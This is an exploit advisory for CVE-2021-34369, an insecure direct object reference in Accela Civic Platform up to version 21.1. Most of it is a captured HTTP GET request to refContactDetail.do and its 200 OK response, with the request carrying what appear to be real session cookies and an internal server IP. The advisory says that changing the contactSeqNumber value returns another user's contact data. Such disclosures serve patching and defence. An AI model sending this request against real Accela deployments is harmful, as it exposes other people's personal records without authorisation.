Accela Civic Platform 21.1 - 'contactSeqNumber' Insecure Direct Object References (IDOR)

# Exploit Title: Accela Civic Platform 21.1 - 'contactSeqNumber' Insecure Direct Object References (IDOR)
# Software Link: https://www.accela.com/civic-platform/
# Version: <= 21.1
# Author: Abdulazeez Alaseeri
# Tested on: JBoss server/windows
# Type: Web App
# Date: 07/06/2021
# CVE: CVE-2021-34369


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Accela Civic Platform Insecure Direct Object References <= 21.1
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This vulnerability allows authenticated attackers to view other user's data by manpulating the value of contactSeqNumber
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Request Heeaders start
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GET /portlets/contact/ref/refContactDetail.do?mode=view&lookup=false&contactSeqNumber=848693&module=Licenses HTTP/1.1

Host: Hidden

Cookie: JSESSIONID=JurAf5eB5CcOPy-yB6_vyjysPwt5sJYWY--BWa7Y.civpnode; BIGipServerAccela_Automation_av.web_pool_PROD=1427686922.47873.0000; AAPersistLoginServProvCode=SAFVC; ACSignOnModule=SSOStandard; JSESSIONID=1bQKqPNdLWUadMJTDGeZOsBnei77VrC5stuwC8-K.civpnode; LASTEST_REQUEST_TIME=1623211660218; LoginServProvCode4MultiAgency=SAFVC; LoginUsername4MultiAgency=E0BD5838A6E2B0C4; hostSignOn=true; UUID=a849376e-f27f-4c73-91d1-3181bad7688d; ACSignoff="Hidden"; ACSwitchAgency="Hidden"; LATEST_LB=1427686922.47873.0000; LATEST_SESSION_ID=JurAf5eB5CcOPy-yB6_vyjysPwt5sJYWY--BWa7Y; LATEST_WEB_SERVER=10.198.24.86; g_current_language_ext=en_US; ACAuth=77040226932997938167623031760043758249275936032481641290563022545358808190678048903667802506479617333124770883197855794745875802

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Upgrade-Insecure-Requests: 1

Te: trailers

Connection: close

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Request Heeaders end
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Response Heeaders start
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HTTP/1.1 200 OK

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

X-Powered-By: JSP/2.3

Set-Cookie: LASTEST_REQUEST_TIME=1623211780357; path=/; domain=.hidden; secure

Set-Cookie: LATEST_LB=1427686922.47873.0000; path=/; domain=.hidden; secure

Set-Cookie: LATEST_SESSION_ID=JurAf5eB5CcOPy-yB6_vyjysPwt5sJYWY--BWa7Y; path=/; domain=.hidden; secure

Set-Cookie: LATEST_WEB_SERVER=10.198.24.86; path=/; domain=.hidden; secure

X-XSS-Protection: 0

Pragma: No-cache

X-UA-Compatible: IE=EDGE

Date: Wed, 09 Jun 2021 04:09:40 GMT

Connection: close

Content-Type: text/html;charset=UTF-8

Content-Length: 98126
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Response Heeaders end
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contactSeqNumber value can be changed and return valid information about another user and that indicates it is vulnerable to IDOR